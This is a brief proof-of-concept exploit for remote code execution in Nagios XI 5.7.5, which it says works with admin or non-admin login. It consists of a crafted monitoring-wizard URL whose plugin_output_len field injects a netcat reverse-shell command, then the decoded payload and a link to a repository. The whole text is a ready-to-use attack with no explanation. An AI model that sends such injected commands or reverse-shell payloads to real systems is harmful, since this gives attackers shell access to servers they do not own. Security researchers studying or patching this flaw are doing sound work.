Nagios XI 5.7.5 RCE POC (Works with admin/non-admin authentication): https://10.0.2.15/nagiosxi/config/monitoringwizard.php?update=1&nsp=50c0f98fe9018dc43c81672ad1aeed5fd3f9710f013381519e553f846b5c2a86&nextstep=3&wizard=windowswmi&check_wmic_plus_ver=1.65&plugin_output_len=&ip_address=127.0.0.1&domain=127.0.0.1&username=asdf&password=asdf&auth_file=&plugin_output_len=1024;%20nc%20-e%20/bin/sh%20127.0.0.1%204444;&submitButton2= payload: 1024; nc -e /bin/sh 127.0.0.1 4444; https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs